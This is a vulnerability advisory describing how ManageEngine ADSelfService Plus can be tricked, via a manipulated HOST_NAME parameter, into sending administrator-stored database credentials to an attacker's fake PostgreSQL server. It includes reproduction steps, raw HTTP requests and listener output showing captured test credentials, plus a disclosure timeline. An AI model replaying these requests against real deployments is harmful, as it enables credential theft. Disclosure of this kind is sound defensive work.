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Retrieval of linked databases credentials via HOST_NAME parameter manipulation

9.1 (Critical)


ManageEngine ADSelfService Plus

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Krzysztof Andrusiak and Marcin Ogorzelski

The HOST_NAME parameter is sent when linking account with external database, which contains IP address of the database. Any IP can be used, allowing an attacker to insert IP of malicious server with fake database running. In such scenario ADSSP server will try to authenticate to this fake database using credentials stored by administrator, revealing them to the attacker.

PostgreSQL example:

  1. Install PostgreSQL and add it to Configured Applications in ADSSP (with Password Sync enabled).
  2. Execute script on machine other than ADSSP/PostgreSQL server (port 5432 must be free).
  3. Log in to ADSSP as any domain user, then copy user's JSESSIONIDADSSP and JSESSIONIDADSSPSSO cookie values from the browser.
  4. Send the following request to the server (replacing COOKIE_VALUE with valid cookies from previous step):
GET /ServletAPI/selfService/IAMApps/getIAMApps HTTP/1.1
Host: alpha-manage:8888
Cookie: JSESSIONIDADSSP=COOKIE_VALUE; JSESSIONIDADSSPSSO=COOKIE_VALUE; adscsrf=ff84ae2e-267f-4f17-bd7a-094c4b4c5bbc
  1. Copy APP_ID and APP_CONFIG_ID values from response body (from JSON entry related to PostgreSQL).
  2. Send the following request to the server (replacing COOKIE_VALUE with valid cookies from step 2). Replace APP_CONFIG_ID and APP_ID values with ones retrieved in step 5, then replace HOST_NAME with IP of the machine on which script is running (step 2).
POST /ServletAPI/selfService/IAMApps/linkAccountUsingPass HTTP/1.1
Host: alpha-manage:8888
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: JSESSIONIDADSSP=COOKIE_VALUE; JSESSIONIDADSSPSSO=COOKIE_VALUE; adscsrf=2f482a1d-764f-484b-81be-fa5f9f527002
Content-Length: 134

  1. Check output of for PostgreSQL database credentials (ones defined by administrator during ADDSP configuration, not the ones provided in the HTTP request).
└─$ python3 
[*] Waiting for connections...
[*] New connection!
[+] Obtained credentials ( username=postgres, password=Test123!@#

Please note that PoC was done for PostgreSQL database, but other applications could be affected as well.

  • 17-03-2021 - Vulnerability reported to vendor
  • 18-03-2021 - First response from vendor
  • 23-04-2021 - Update from vendor
  • 08-05-2021 - Fixed version release
  • 21-02-2022 - Public disclosure
  • 21-02-2022 - PoC release